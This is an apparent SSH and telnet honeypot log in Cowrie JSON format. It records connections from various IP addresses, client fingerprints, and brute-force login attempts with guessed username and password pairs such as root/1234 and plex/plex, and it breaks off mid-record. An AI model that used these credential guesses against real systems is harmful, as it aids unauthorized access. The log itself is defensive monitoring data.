{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:08.472173Z","src_ip":"91.92.40.13","session":"e9506a2b3843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:08.850386Z","src_ip":"129.121.102.3","session":"8b631a7adf48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:08.956901Z","src_ip":"91.92.40.13","session":"e9506a2b3843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:10.458159Z","src_ip":"91.92.40.13","session":"e9506a2b3843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":36450,"dst_ip":"159.203.135.109","dst_port":22,"session":"908201e27850","protocol":"ssh","message":"New connection: 46.19.67.181:36450 (159.203.135.109:22) [session: 908201e27850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:10.535275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:10.538691Z","src_ip":"46.19.67.181","session":"908201e27850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:10.646905Z","src_ip":"46.19.67.181","session":"908201e27850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18071980","message":"login attempt [root/18071980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:10.976200Z","src_ip":"46.19.67.181","session":"908201e27850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:12.087938Z","src_ip":"46.19.67.181","session":"908201e27850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":47334,"dst_ip":"159.203.135.109","dst_port":22,"session":"570a2d26db3c","protocol":"ssh","message":"New connection: 45.94.68.69:47334 (159.203.135.109:22) [session: 570a2d26db3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:13.336266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:13.339799Z","src_ip":"45.94.68.69","session":"570a2d26db3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:13.553317Z","src_ip":"45.94.68.69","session":"570a2d26db3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mg123","message":"login attempt [root/Mg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:14.444333Z","src_ip":"45.94.68.69","session":"570a2d26db3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:15.661556Z","src_ip":"45.94.68.69","session":"570a2d26db3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":48626,"dst_ip":"159.203.135.109","dst_port":22,"session":"342af713cafe","protocol":"ssh","message":"New connection: 113.161.222.150:48626 (159.203.135.109:22) [session: 342af713cafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:27.555876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:27.559804Z","src_ip":"113.161.222.150","session":"342af713cafe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:27.796933Z","src_ip":"113.161.222.150","session":"342af713cafe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"just","message":"login attempt [root/just] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:28.781921Z","src_ip":"113.161.222.150","session":"342af713cafe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:30.022324Z","src_ip":"113.161.222.150","session":"342af713cafe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.74375653266907,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:31.502284Z","src_ip":"170.64.224.25","session":"25bd96072c82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":47314,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bb64ab3cc6b","protocol":"ssh","message":"New connection: 103.199.16.90:47314 (159.203.135.109:22) [session: 5bb64ab3cc6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:32.002149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:32.006355Z","src_ip":"103.199.16.90","session":"5bb64ab3cc6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.189.195.8","src_port":55870,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca49298a4bc4","protocol":"ssh","message":"New connection: 203.189.195.8:55870 (159.203.135.109:22) [session: ca49298a4bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:32.049005Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:32.233556Z","src_ip":"103.199.16.90","session":"5bb64ab3cc6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":32876,"dst_ip":"10.17.0.5","dst_port":22,"session":"31bf0265db7c","protocol":"ssh","message":"New connection: 8.210.75.243:32876 (10.17.0.5:22) [session: 31bf0265db7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:32.509911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:33.053043Z","src_ip":"203.189.195.8","session":"ca49298a4bc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:33.139572Z","src_ip":"8.210.75.243","session":"3797a8456d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sfs","password":"sfs","message":"login attempt [sfs/sfs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:33.164831Z","src_ip":"103.199.16.90","session":"5bb64ab3cc6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:33.349082Z","src_ip":"203.189.195.8","session":"ca49298a4bc4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:33.615061Z","src_ip":"8.210.75.243","session":"31bf0265db7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:33.623518Z","src_ip":"8.210.75.243","session":"31bf0265db7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:34.393765Z","src_ip":"103.199.16.90","session":"5bb64ab3cc6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jokes","password":"123456","message":"login attempt [jokes/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:36.557900Z","src_ip":"203.189.195.8","session":"ca49298a4bc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":54812,"dst_ip":"10.17.0.5","dst_port":22,"session":"495b73475204","protocol":"ssh","message":"New connection: 87.106.29.151:54812 (10.17.0.5:22) [session: 495b73475204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:37.212703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:37.216910Z","src_ip":"87.106.29.151","session":"495b73475204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:37.314093Z","src_ip":"87.106.29.151","session":"495b73475204","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:37.739588Z","src_ip":"87.106.29.151","session":"495b73475204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:38.552029Z","src_ip":"203.189.195.8","session":"ca49298a4bc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:38.839228Z","src_ip":"87.106.29.151","session":"495b73475204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45224,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b077e283c4d","protocol":"telnet","message":"New connection: 170.64.224.25:45224 (159.203.135.109:23) [session: 4b077e283c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:44.693228Z"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:47.745303Z","src_ip":"8.210.75.243","session":"31bf0265db7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":47482,"dst_ip":"10.17.0.5","dst_port":22,"session":"93e550bae150","protocol":"ssh","message":"New connection: 152.200.205.179:47482 (10.17.0.5:22) [session: 93e550bae150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:48.481227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:48.485570Z","src_ip":"152.200.205.179","session":"93e550bae150","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","